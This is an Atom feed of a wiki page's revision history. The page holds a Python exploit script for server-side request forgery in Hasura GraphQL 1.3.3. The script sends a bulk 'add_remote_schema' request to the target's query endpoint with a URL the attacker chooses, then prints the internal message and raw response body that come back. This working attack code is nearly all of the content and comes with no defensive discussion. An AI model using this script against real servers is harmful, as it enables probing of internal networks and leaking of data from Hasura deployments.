<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Hasura_GraphQL_1.3.3_SSRF%E6%BC%8F%E6%B4%9E</id>
	<title>Hasura GraphQL 1.3.3 SSRF漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Hasura_GraphQL_1.3.3_SSRF%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Hasura_GraphQL_1.3.3_SSRF%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-07T08:17:01Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Hasura_GraphQL_1.3.3_SSRF%E6%BC%8F%E6%B4%9E&amp;diff=1858&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: Hasura GraphQL 1.3.3 - Service Side Request Forgery (SSRF) # Software: Hasura GraphQL # Software Link: https://github.com/hasura/graphql-engine...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Hasura_GraphQL_1.3.3_SSRF%E6%BC%8F%E6%B4%9E&amp;diff=1858&amp;oldid=prev"/>
		<updated>2021-04-22T02:06:19Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: Hasura GraphQL 1.3.3 - Service Side Request Forgery (SSRF) # Software: Hasura GraphQL # Software Link: https://github.com/hasura/graphql-engine...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Hasura GraphQL 1.3.3 - Service Side Request Forgery (SSRF)&lt;br /&gt;
# Software: Hasura GraphQL&lt;br /&gt;
# Software Link: https://github.com/hasura/graphql-engine&lt;br /&gt;
# Version: 1.3.3&lt;br /&gt;
# Exploit Author: Dolev Farhi&lt;br /&gt;
# Date: 4/19/2021&lt;br /&gt;
# Tested on: Ubuntu&lt;br /&gt;
&lt;br /&gt;
import requests&lt;br /&gt;
&lt;br /&gt;
HASURA_SCHEME = 'http'&lt;br /&gt;
HASURA_HOST = '192.168.1.1'&lt;br /&gt;
HASURA_PORT = 80&lt;br /&gt;
&lt;br /&gt;
REMOTE_URL = 'http://some_remote_addr'&lt;br /&gt;
&lt;br /&gt;
def SSRF(url):&lt;br /&gt;
  data = {&lt;br /&gt;
    &amp;quot;type&amp;quot;:&amp;quot;bulk&amp;quot;,&lt;br /&gt;
    &amp;quot;args&amp;quot;:[&lt;br /&gt;
      {&lt;br /&gt;
       &amp;quot;type&amp;quot;:&amp;quot;add_remote_schema&amp;quot;,&lt;br /&gt;
       &amp;quot;args&amp;quot;:{&lt;br /&gt;
         &amp;quot;name&amp;quot;:&amp;quot;test&amp;quot;,&lt;br /&gt;
         &amp;quot;definition&amp;quot;:{&lt;br /&gt;
           &amp;quot;url&amp;quot;:url,&lt;br /&gt;
           &amp;quot;headers&amp;quot;:[],&lt;br /&gt;
           &amp;quot;timeout_seconds&amp;quot;:60,&lt;br /&gt;
           &amp;quot;forward_client_headers&amp;quot;:True&lt;br /&gt;
           }&lt;br /&gt;
         }&lt;br /&gt;
       }&lt;br /&gt;
      ]&lt;br /&gt;
    }&lt;br /&gt;
  endpoint = '{}://{}:{}/v1/query'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)&lt;br /&gt;
  r = requests.post(endpoint, json=data)&lt;br /&gt;
  return r.json()&lt;br /&gt;
&lt;br /&gt;
res = SSRF(REMOTE_URL)&lt;br /&gt;
&lt;br /&gt;
message = ''&lt;br /&gt;
raw_body = ''&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
  if 'message' in res['internal']:&lt;br /&gt;
    message = res['internal'].get('message', '')&lt;br /&gt;
  if 'raw_body' in res['internal']:&lt;br /&gt;
    raw_body = res['internal'].get('raw_body', '')&lt;br /&gt;
except:&lt;br /&gt;
  pass&lt;br /&gt;
&lt;br /&gt;
print('Remote URL: ' + REMOTE_URL)&lt;br /&gt;
print('Message: ' + message)&lt;br /&gt;
print('HTTP Raw Body: ' + raw_body)&lt;br /&gt;
print('Error: ' + res['error'])&lt;br /&gt;
            &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>